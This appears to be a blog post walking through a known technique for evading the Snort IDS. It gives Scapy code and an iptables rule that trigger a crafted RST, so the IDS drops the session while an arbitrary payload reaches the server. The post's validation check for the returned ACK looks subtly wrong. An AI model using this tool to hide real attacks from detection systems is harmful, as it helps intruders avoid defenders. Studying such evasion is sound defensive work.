IDS Evasion - Judy Novak Style
I was reading through my blogs this morning with coffee when I stumbled upon Judy Novak's Blog. What Judy described, was a method to send a payload to a server, and evade an IDS such as Snort at the same time. She even mentioned that she used Scapy, so I was immediately hooked. She describes step-by-step, the process for creating this situation. I figured I should try it out...but first the script had to be created.
Since we are sending out packets with Scapy using Raw Sockets, we need to prevent the kernel from sending Reset packets back, once we receive the SYN-ACK from the server. To do this, we use the iptables rule:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
Now, as Judy describes, we initialize the connection by sending the SYN packet first and wait for the SYN-ACK:
p = IP(src=self.srcIP, dst=self.options.addr)/TCP(sport=self.sport, dport=self.options.port, flags="S", seq=self.isn)
synack = sr1(p)
Once the SYN-ACK has come in, Judy states that we must send back the ACK Packet, but under one condition: we increase the ACK Number by 2, instead of 1.
ack = IP(src=self.srcIP, dst=self.options.addr)/TCP(sport=self.sport, dport=self.options.port, flags="A", seq=self.isn+1, ack=synack.seq+2)
print "Sending Modified ACK..."
send(ack)
Now we should receive a RST packet, which is exactly what creates this IDS evasion technique. The IDS, which is tracking the current session, will drop the entire session once this RST packet comes in; however, this is based on the default Stream5 policy. We should be able to send the payload out, and the server should ACK the packet back perfectly:
p = IP(src=self.srcIP, dst=self.options.addr)/TCP(sport=self.sport, dport=self.options.port, flags="PA", seq=ack.seq, ack=synack.seq+1)/self.options.data
print "Sending Payload"
ackPacket = sr1(p, timeout=1)
Just in case, we can double check to see if the ACK packet is what we are indeed looking for:
if not ackPacket.flags == 2 or not ackPacket.ack == p.seq + len(self.options.data):
print "Error with return ACK"
return 0
If it is the correct ACK packet, then we have successfully sent the payload.
Example pcap:

The script I wrote can be found here
When used we can see the options:
===========
root@ubuntu:~/# python fakerst.py
Usage: python fakerst.py -a IP_DEST -p PORT -d PAYLOAD
Example: python fakerst.py -a 192.168.1.100 -p 80 -d "GET / HTTP/1.1\r\n"
Required IPTables Rule:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
Options:
-h, --help show this help message and exit
-a ADDR Send payload to IP
-p PORT Send payload to PORT
-d DATA Send data
===========
Thanks for the fun Judy!
http://www.packetstan.com/2010/06/recently-ive-been-on-campaign-to-make....
